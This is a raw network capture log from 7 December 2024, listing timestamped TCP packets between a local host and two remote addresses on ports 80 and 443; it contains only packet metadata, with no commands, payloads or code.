Dec 7, 2024 18:26:49.451998949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.452043056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.480225086 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.480715036 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.480736971 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.481187105 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.481194019 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.493830919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.493892908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.493933916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.494107008 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.566354036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.566401005 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.566550970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.566589117 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.566951036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.566987038 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.567025900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.567063093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.567253113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.567289114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.568121910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.568161964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.568231106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.568265915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.569149971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.569189072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.569231987 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.569267035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.570235968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.570291996 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.570314884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.570352077 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.571275949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.571317911 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.571383953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.571429968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.572341919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.572380066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.572494030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.572531939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.573371887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.573406935 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.573519945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.573554993 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.574450970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.574491024 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.574568033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.574654102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.575532913 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.575577974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.575640917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.575674057 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.576584101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.576621056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.576688051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.576724052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.577649117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.577696085 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.577769995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.577807903 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.578727007 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.578766108 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.578870058 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.578902960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.579933882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.579982042 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.580018997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.580055952 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.613174915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:49.732691050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:49.920151949 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.920234919 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.920294046 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.920471907 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.920471907 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.920489073 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.920499086 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.922981024 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.923027039 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:49.923109055 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.923248053 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:49.923264027 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.053987980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.054079056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.054131985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.054171085 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.054478884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.054516077 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.054603100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.054637909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.054754019 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.054789066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.055691004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.055742025 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.055843115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.055885077 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.056720018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.056762934 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.056847095 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.056885958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.057802916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.057842016 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.057907104 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.057946920 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.058851004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.058891058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.059086084 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.059122086 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.059966087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.060012102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.060062885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.060103893 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.061069012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.061162949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.061177969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.061228037 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.062094927 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.062134981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.062212944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.062249899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.063105106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.063149929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.186261892 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.186325073 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.186398029 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.186443090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.186759949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.186810017 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.186899900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.186944962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.187027931 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.187069893 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.187959909 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.188005924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.188071012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.188117981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.189024925 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.189105988 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.189127922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.189160109 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.190072060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.190116882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.190294027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.190340996 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.191102982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.191144943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.191246033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.191284895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.192182064 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.192226887 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.192305088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.192342997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.193229914 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.193270922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.193358898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.193396091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.194328070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.194367886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.194447994 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.194515944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.195426941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.195468903 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.195559025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.195599079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.196712971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.196757078 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.196820021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.196861029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.197487116 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.197523117 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.197622061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.197664976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.198565960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.198607922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.198681116 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.198720932 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.199707985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.199749947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.199814081 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.199851036 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.200908899 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.200949907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.201000929 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.201040983 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.201873064 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.201914072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.201934099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.201976061 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.319372892 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.319422007 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.319513083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.319550991 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.319951057 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.319992065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.320005894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.320039034 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.320149899 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.320193052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.321109056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.321149111 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.321167946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.321206093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.321954966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.321995974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.322143078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.322184086 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.322993040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.323039055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.323092937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.323128939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.323652983 CET	443	49802	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.324006081 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.324057102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.324080944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.324100018 CET	49802	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:50.324117899 CET	443	49802	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.324131012 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.324587107 CET	49802	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:50.324594021 CET	443	49802	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.325079918 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.325119972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.325176954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.325210094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.325278044 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.325644016 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:50.325670004 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.326081038 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:50.326086998 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:50.326093912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.326133013 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.326193094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.326225996 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.327194929 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.327234983 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.327380896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.327420950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.328233957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.328278065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.328344107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.328378916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.329600096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.329653025 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.329669952 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.329709053 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.330391884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.330441952 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.330475092 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.330508947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.332425117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.332438946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.332468987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.332483053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.332488060 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.332519054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.332597971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.332632065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.333583117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.333623886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.333677053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.333713055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.334662914 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.334702969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.334781885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.334817886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.335705996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.335742950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.335808039 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.335844994 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.336815119 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.336853027 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.336910009 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.336944103 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.337855101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.337893963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.447094917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.447192907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.447233915 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.447273016 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.447602987 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.447653055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.447803974 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.447845936 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.447887897 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.447926044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.448381901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.448427916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.448520899 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.448561907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.449496984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.449548960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.449589968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.449629068 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.450556993 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.450604916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.450684071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.450723886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.451576948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.451626062 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.451683998 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.451719999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.452650070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.452699900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.452740908 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.452778101 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.453737020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.453787088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.453910112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.453952074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.454885006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.454930067 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.454988956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.455029964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.455887079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.455929041 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.455972910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.456012964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.456916094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.456959963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.457014084 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.457051039 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.458009005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.458053112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.458106041 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.458146095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.459064960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.459105015 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.459192038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.459224939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.460095882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.460140944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.460231066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.460272074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.461174965 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.461221933 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.461294889 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.461334944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.462229967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:50.462279081 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:50.462351084 CET	80	49786	185.215.113.206	192.168.2.7
